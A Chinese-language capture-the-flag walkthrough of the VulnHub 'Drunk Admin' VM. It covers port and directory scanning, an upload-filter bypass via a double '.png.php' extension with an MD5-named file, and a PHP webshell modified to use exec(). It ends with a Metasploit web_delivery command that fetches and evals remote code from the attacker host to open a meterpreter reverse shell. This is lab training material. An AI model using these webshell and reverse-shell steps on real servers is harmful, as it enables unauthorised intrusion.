Drunk Admin
简介：
https://www.vulnhub.com/entry/drunk-admin-web-hacking-challenge-1,14/
环境：
VMware网络选择的桥接模式，根据自己的环境进行配置，
攻击机：kali linux
靶机：Drunk Admin VM
0x001 信息收集
开机你将会看到靶机的IP地址，我的VM靶机地址为192.168.1.104
0x002 端口扫描
TCP端口扫描
nmap -n -A -p- 192.168.1.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:17 CST
Nmap scan report for 192.168.1.104
Host is up (0.0058s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0)
| ssh-hostkey:
| 1024 57:a2:04:3d:6e:e5:01:7b:b4:c6:e5:f9:76:25:8a:8a (DSA)
|_ 2048 66:9a:ee:a2:2a:1a:59:47:b9:c5:50:da:a6:96:76:16 (RSA)
8880/tcp open http Apache httpd 2.2.16 ((Debian))
|_http-server-header: Apache/2.2.16 (Debian)
|_http-title: Tripios
MAC Address: E0:94:67:A1:C9:FD (Intel Corporate)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.26 - 2.6.35, Linux 2.6.32
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 5.80 ms 192.168.1.104
UDP端口扫描 没有找到开放的UDP端口
nmap -n -A -sU 192.168.1.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:26 CST
Nmap scan report for 192.168.1.104
Host is up (0.0087s latency).
All 1000 scanned ports on 192.168.1.104 are closed (956) or open|filtered (44)
MAC Address: E0:94:67:A1:C9:FD (Intel Corporate)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 8.66 ms 192.168.1.104
0x003 侦查Web应用
http://192.168.1.104:8880/index.php
http://192.168.1.104:8880/info.php
使用burp suite 中的Spider爬取源码引用的链接
http://192.168.1.104:8880/myphp.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
http://192.168.1.104:8880/myphp.php?id=102使用Intruder模块尝试对id数字进行增量，设置payloads set 设置为1 payload type 设置为Numbers ,payload options Numbers
from: 0 to: 1000 step : 1
GET /myphp.php?id=§102§ HTTP/1.1
Host: 192.168.1.104:8880
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: trypios=nop
Connection: close
Upgrade-Insecure-Requests: 1
对响应200长度为345 将显示这样一句话
Try harder, you might find something here. Or not? Who knows.排序下可看到99,101,102,104,108,116,132,164响应长度不一样，打开URL链接将看到一些敏感信息。
#PHP版本Apache和PHP配置等信息
http://192.168.1.104:8880/myphp.php?id=101
#禁用的PHP函数列表
http://192.168.1.104:8880/myphp.php?id=104dirb爬取的信息
dirb http://192.168.1.104:8880 -o dirb.log
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.104:8880/ ----
+ http://192.168.1.104:8880/cgi-bin/ (CODE:403|SIZE:291)
+ http://192.168.1.104:8880/image (CODE:200|SIZE:1392)
==> DIRECTORY: http://192.168.1.104:8880/images/
+ http://192.168.1.104:8880/index (CODE:200|SIZE:1638)
+ http://192.168.1.104:8880/index.php (CODE:200|SIZE:1638)
+ http://192.168.1.104:8880/info (CODE:200|SIZE:1600)
+ http://192.168.1.104:8880/info.php (CODE:200|SIZE:1600)
+ http://192.168.1.104:8880/server-status (CODE:403|SIZE:51)
==> DIRECTORY: http://192.168.1.104:8880/style/
+ http://192.168.1.104:8880/upload (CODE:200|SIZE:57)
---- Entering directory: http://192.168.1.104:8880/images/ ----
+ http://192.168.1.104:8880/images/admin.php (CODE:403|SIZE:51)
+ http://192.168.1.104:8880/images/index (CODE:200|SIZE:0)
+ http://192.168.1.104:8880/images/index.html (CODE:200|SIZE:0)
+ http://192.168.1.104:8880/images/index.php (CODE:403|SIZE:51)
+ http://192.168.1.104:8880/images/info.php (CODE:403|SIZE:51)
+ http://192.168.1.104:8880/images/phpinfo.php (CODE:403|SIZE:51)
+ http://192.168.1.104:8880/images/xmlrpc.php (CODE:403|SIZE:51)
+ http://192.168.1.104:8880/images/xmlrpc_server.php (CODE:403|SIZE:51)
---- Entering directory: http://192.168.1.104:8880/style/ ----
+ http://192.168.1.104:8880/style/bullet (CODE:200|SIZE:989)
+ http://192.168.1.104:8880/style/index (CODE:200|SIZE:0)
+ http://192.168.1.104:8880/style/index.html (CODE:200|SIZE:0)
+ http://192.168.1.104:8880/style/style (CODE:200|SIZE:5757)
-----------------
提取出响应为200的URL和爬取到的目录
cat dirb.log | grep "CODE:200" | cut -d" " -f2 > url.txt
~# cat url.txt
http://192.168.1.104:8880/image
http://192.168.1.104:8880/index
http://192.168.1.104:8880/index.php
http://192.168.1.104:8880/info
http://192.168.1.104:8880/info.php
http://192.168.1.104:8880/upload
http://192.168.1.104:8880/images/index
http://192.168.1.104:8880/images/index.html
http://192.168.1.104:8880/style/bullet
http://192.168.1.104:8880/style/index
http://192.168.1.104:8880/style/index.html
http://192.168.1.104:8880/style/style
~# cat dirb.log | grep "==> DIRECTORY:" | cut -d" " -f3 >> url.txt
~# cat url.txt
http://192.168.1.104:8880/image
http://192.168.1.104:8880/index
http://192.168.1.104:8880/index.php
http://192.168.1.104:8880/info
http://192.168.1.104:8880/info.php
http://192.168.1.104:8880/upload
http://192.168.1.104:8880/images/index
http://192.168.1.104:8880/images/index.html
http://192.168.1.104:8880/style/bullet
http://192.168.1.104:8880/style/index
http://192.168.1.104:8880/style/index.html
http://192.168.1.104:8880/style/style
http://192.168.1.104:8880/images/
http://192.168.1.104:8880/style/
使用Eyewitness快速截取URL
eyewitness --web -f /root/url.txt生成HTML报告
################################################################################
# EyeWitness #
################################################################################
# FortyNorth Security - https://www.fortynorthsecurity.com #
################################################################################
Starting Web Requests (14 Hosts)
Attempting to screenshot http://192.168.1.104:8880/image
Attempting to screenshot http://192.168.1.104:8880/index
Attempting to screenshot http://192.168.1.104:8880/index.php
Attempting to screenshot http://192.168.1.104:8880/info
Attempting to screenshot http://192.168.1.104:8880/info.php
Attempting to screenshot http://192.168.1.104:8880/upload
Attempting to screenshot http://192.168.1.104:8880/images/index
Attempting to screenshot http://192.168.1.104:8880/images/index.html
Attempting to screenshot http://192.168.1.104:8880/style/bullet
Attempting to screenshot http://192.168.1.104:8880/style/index
Attempting to screenshot http://192.168.1.104:8880/style/index.html
Attempting to screenshot http://192.168.1.104:8880/style/style
Attempting to screenshot http://192.168.1.104:8880/images/
Attempting to screenshot http://192.168.1.104:8880/style/
Finished in 23.0011031628 seconds
[*] Done! Report written in the /usr/share/eyewitness/01082019_182606 folder!
Would you like to open the report now? [Y/n] Y
文件路径 默认在file:///usr/share/eyewitness/01082019_182606/report.html
0x004 文件上传
#URL
http://192.168.1.104:8880/先上传一个test.png图片看下服务器的响应结果
http://192.168.1.104:8880/images/364be8860e8d72b4358b5e88099a935a.png可以看到文件名被修改为364be8860e8d72b4358b5e88099a935a.png
在此上传这张图片看服务器处理的结果
http://192.168.1.104:8880/images/364be8860e8d72b4358b5e88099a935a.png和第一次上传的文件名一样，可以发现不是基于时间戳作为种子进行模糊处理
364be8860e8d72b4358b5e88099a935a 看起来像是MD5
~# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.1 #
# By Zion3R #
# www.Blackploit.com #
# [email protected] #
#########################################################################
-------------------------------------------------------------------------
HASH: 364be8860e8d72b4358b5e88099a935a
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
对文件进行MD5编码看是否得到364be8860e8d72b4358b5e88099a935a.png
echo -n "test" | md5sum
098f6bcd4621d373cade4e832627b4f6 -
echo -n "test.png" | md5sum
364be8860e8d72b4358b5e88099a935a - #是MD5 hash 而且还包含扩展名
0x005 文件上传绕过
上传一个file.php文件试下 Invalid file extension!
file.pHp 也不允许上传此文件
file.php.png 双扩展名允许上传因为这是一个图片，有.png扩展名和图片MIME类型。
使用burp拦截修改扩展名也失败
-----------------------------96243593515911303681275160265
Content-Disposition: form-data; name="image"; filename="file.php"
Content-Type: image/png
-----------------------------96243593515911303681275160265
Content-Disposition: form-data; name="Submit"
Host My Awesome Image
-----------------------------96243593515911303681275160265--修改MIME类型 可以成功但是不能作为php代码执行
-----------------------------1597954536791357711048303406
Content-Disposition: form-data; name="image"; filename="file.php.png"
Content-Type: application/x-php
-----------------------------1597954536791357711048303406
Content-Disposition: form-data; name="Submit"
Host My Awesome Image
-----------------------------1597954536791357711048303406--
%00截断 也无效
尝试不同的双重扩展名 file.png.php 可以上传 上传后没显示链接
上传的文件都在images/ 目录下
http://192.168.1.104:8880/images/知道了是MD5 hash 而且还包含扩展名
echo -n "file.png.php" | md5sum
34b17a2b0c9eac3da052f84d03285ee9 -访问URL 代码被执行了
http://192.168.1.104:8880/images/34b17a2b0c9eac3da052f84d03285ee9.php 0x006 漏洞利用
访问URL 敏感信息泄漏 可以看到system，passthru和shell_exec 等被禁用了，但是exec并没有禁用
http://192.168.1.104:8880/myphp.php?id=104使用kali linux 中的webshells
/usr/share/webshells/php/simple-backdoor.php 修改扩展名和名字
mv simple-backdoor.php webshell.png.php对文件MD5 hash 编码
echo -n "webshell.png.php" | md5sum
5b796592a44f0865c778cbd83d10e58e -访问URL 代码执行
http://192.168.1.104:8880/images/5b796592a44f0865c778cbd83d10e58e.php?cmd=cat+/etc/passwd这段代码需要修改为
";
$cmd = ($_REQUEST['cmd']);
exec($cmd, $results);
foreach( $results as $r )
{
echo $r."
";
}
echo "URL
http://192.168.1.104:8880/images/5b796592a44f0865c778cbd83d10e58e.php?cmd=ls%20-al
total 248
drwxrwxr-x 2 root www-data 4096 Jan 8 13:57 .
drwxr-xr-x 4 root root 4096 Apr 2 2012 ..
-rw-r--r-- 1 root root 143 Mar 3 2012 .htaccess
-rw-r--r-- 1 www-data www-data 29 Jan 8 13:25 13f8494b07ca1c8fc9e1b4aa87152a0a.png
-rw-r--r-- 1 www-data www-data 29 Jan 8 13:29 34b17a2b0c9eac3da052f84d03285ee9.php
-rw-r--r-- 1 www-data www-data 16554 Jan 8 12:53 364be8860e8d72b4358b5e88099a935a.png
-rw-r--r-- 1 www-data www-data 166311 Mar 7 2012 3df5758863d650e59525cf2aa0676230.png
-rw-r--r-- 1 www-data www-data 453 Jan 8 14:45 5b796592a44f0865c778cbd83d10e58e.php
-rw-r--r-- 1 www-data www-data 7205 Mar 7 2012 8dc053a3ed0adf03994f96347d20d9e5.png
-rw-r--r-- 1 www-data www-data 21764 Mar 4 2012 aa63b1c597b45e4f1f883724d0f8dfbe.jpg
-rw-r--r-- 1 www-data www-data 29 Jan 8 13:27 d2714a8696971337c0bbf8bafab83164.png
-rw-r--r-- 1 root root 0 Mar 3 2012 index.html0x007 Meterpreter
URL
http://192.168.1.104:8880/images/5b796592a44f0865c778cbd83d10e58e.php?cmd=php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://192.168.1.103:8181/LhMvEjkBoBuR54%27));%22msf
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.103
lhost => 192.168.1.103
msf exploit(multi/script/web_delivery) > set srvport 8080
srvport => 8080
msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.103:4444
msf exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8181/LhMvEjkBoBuR54
[*] Local IP: http://192.168.1.103:8181/LhMvEjkBoBuR54
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.103:8181/LhMvEjkBoBuR54'));"
[*] 192.168.1.104 web_delivery - Delivering Payload
[*] Sending stage (38247 bytes) to 192.168.1.104
msf exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ drunkadm 192.168.1.103:4444 -> 192.168.1.104:38262 (192.168.1.104)
2 meterpreter php/linux www-data (33) @ drunkadm 192.168.1.103:4444 -> 192.168.1.104:38264 (192.168.1.104)
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > pwd
/var/www/images
meterpreter > shell
Process 2928 created.
Channel 1 created.
ls -al
total 48
drwxr-xr-x 4 root root 4096 Apr 2 2012 .
drwxr-xr-x 14 root root 4096 Mar 3 2012 ..
-rw-r--r-- 1 root root 217 Mar 3 2012 .htaccess
-rw-r--r-- 1 root root 322 Mar 6 2012 .proof
-rw-r--r-- 1 root root 2683 Mar 7 2012 image.php
drwxrwxr-x 2 root www-data 4096 Jan 8 13:57 images
-rw-r--r-- 1 root root 1981 Mar 4 2012 index.php
-rw-r--r-- 1 root root 1943 Mar 4 2012 info.php
-rw-r--r-- 1 root root 279 Mar 4 2012 myphp.php
drwxr-xr-x 2 root root 4096 Mar 3 2012 style
-rw-r--r-- 1 root root 2144 Mar 7 2012 upload.php
-rw-r--r-- 1 root root 51 Mar 3 2012 xmm.html
cat .proof
#########################
# Drunk Admin Challenge #
# by @anestisb #
#########################
bob> Great work.
bob> Meet me there.
...> ?
bob> What? You don't know where?
bob> Work a little more your post
exploitation skills.
Secret Code:
TGglMUxecjJDSDclN1Ej
Mail me your methods at:
[email protected]
总结：
通过对敏感信息的查找，在到对文件上传点进行分析，拿到了webshell。此靶机的目的还是没看太懂，因为英语不好，只是拿到了webshell。